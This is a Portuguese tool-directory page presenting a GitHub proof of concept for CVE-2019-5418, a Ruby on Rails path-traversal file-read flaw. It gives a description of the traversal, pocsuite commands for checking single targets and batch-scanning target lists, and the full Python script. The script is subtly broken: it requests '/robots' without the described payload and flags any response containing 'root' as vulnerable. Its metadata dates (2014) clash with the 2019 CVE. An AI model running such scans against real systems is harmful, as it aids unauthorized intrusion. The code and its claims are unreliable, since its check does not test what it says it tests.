Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/kailing0220/cve-2019-5418
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubkailing0220/cve-2019-5418

CVE-2019-5418

Ver Repositório
2há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Ruby on Rails é um framework de aplicação web, um framework relativamente novo, construído sobre a linguagem Ruby. Esta vulnerabilidade se deve principalmente ao fato de o Ruby on Rails usar o parâmetro especificado "render file" para renderizar visualizações fora da aplicação. Podemos, ao modificar o pacote de requisição para acesso a um determinado controlador, usar “…/…/…/…/” para alcançar path traversal, e então usar “{{” para fechar o caminho de consulta do template, fazendo com que o arquivo alvo seja interpretado como um template externo.

Compartilhar

CVE-2019-5418

1. Descrição da Vulnerabilidade

Ruby on Rails é um framework de aplicações web, um framework relativamente novo construído sobre a linguagem Ruby. Essa vulnerabilidade se deve principalmente ao fato de o Ruby on Rails usar o parâmetro render file para renderizar views fora da aplicação. Podemos modificar o pacote de requisição ao acessar um controlador, usando “…/…/…/…/” para realizar path traversal, e então usar “{{” para fechar o caminho da consulta do template, fazendo com que o arquivo alvo seja interpretado como um template externo.

3. Reprodução da Vulnerabilidade

Capture o pacote com o Burp

image-20221017165912908

Verificação individual correta da vulnerabilidade: pocsuite -r CVE-2019-5418.py -u url

image-20221017165821023

Varredura em lote: pocsuite -r cve-2019-5118 -f taishi.txt

image-20221017170029547

4. Código do Script

root@kitploit:~
from collections import OrderedDict
from pocsuite3.api import (
    Output,
    POCBase,
    POC_CATEGORY,
    register_poc,
    requests,
    VUL_TYPE,
    get_listener_ip,
    get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
    OptString,
    OptDict,
    OptIP,
    OptPort,
    OptBool,
    OptInteger,
    OptFloat,
    OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD

# Acima estão apenas diversas importações de módulos. Alguns são usados, outros (em cinza) são módulos cujo conteúdo não foi utilizado.

class DemoPOC(POCBase):
    vulID = "1571"  # SSVID ID; se for submeter a vulnerabilidade junto com o PoC, escreva 0
    version = "1"  # Padrão é 1
    author = "kailing0220"  # Nome do autor do PoC
    vulDate = "2014-10-16"  # Data de divulgação da vulnerabilidade; se não souber, coloque a data de hoje
    createDate = "2014-10-16"  # Data de criação do PoC
    updateDate = "2014-10-16"  # Data de atualização do PoC; padrão igual à data de criação
    references = ["http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"]  # Fonte do endereço da vulnerabilidade; não precisa escrever para 0-day
    name = "CVE-2019-5418 PoC"  # Nome do PoC
    appPowerLink = "http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"  # Página inicial do fornecedor da aplicação
    appName = "CVE-2019-5418"  # Nome da aplicação vulnerável
    appVersion = "all"  # Versão afetada
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS  # Tipo de vulnerabilidade; consulte a tabela de tipos de vulnerabilidade
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = []  # Exemplos de teste, ou seja, sites testados com sucesso usando o PoC
    install_requires = []  # Dependências de módulos de terceiros; tente não usar, consulte as instruções se necessário
    desc = """
            Ruby on Rails é um framework de aplicações web, um framework relativamente novo construído sobre a linguagem Ruby. Essa vulnerabilidade se deve principalmente ao fato de o Ruby on Rails usar o parâmetro `render file` para renderizar views fora da aplicação. Podemos modificar o pacote de requisição ao acessar um controlador, usando “…/…/…/…/” para realizar path traversal, e então usar “{{” para fechar o caminho da consulta do template, fazendo com que o arquivo alvo seja interpretado como um template externo.
        """  # Descrição resumida da vulnerabilidade
    pocDesc = """
            Descrição do uso do PoC
        """  # Descrição do uso do PoC
    # Definição de várias variáveis, descrição sobre o PoC

    def _check(self):
        # Código de verificação da vulnerabilidade
        headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

        result = []
        # Um tratamento de exceção para evitar que o site esteja offline, a requisição falhe e o código gere erro
        try:
            url = self.url.strip() + "/robots"  # self.url é o valor do parâmetro -u que você especificou
            res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
            # Verifica se a vulnerabilidade existe
            if res.status_code == 200 and 'root' in res.text:
                result.append(url)
        except Exception as e:
            print(e)
        # Par complementar ao try...except; sempre executa o código interno, independentemente de erro
        finally:
            return result

    def _verify(self):
        # Modo de verificação, chama o código de verificação
        result = {}
        res = self._check()  # res é a lista de resultados retornada
        if res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Info'] = self.name
            result['VerifyInfo']['vul_url'] = self.url
            result['VerifyInfo']['vul_detail'] = self.desc
        return self.parse_verify(result)

    def _attack(self):
        # Modo de ataque, apenas chama o modo de verificação
        return self._verify()

    def parse_verify(self, result):
        # Analisa e autentica, produz saída
        output = Output(self)
        # Determina se há vulnerabilidade com base no valor booleano de result
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output


def other_fuc():
    pass


def other_utils_func():
    pass


# Registra a classe DemoPOC
register_poc(DemoPOC)
Baixar ferramenta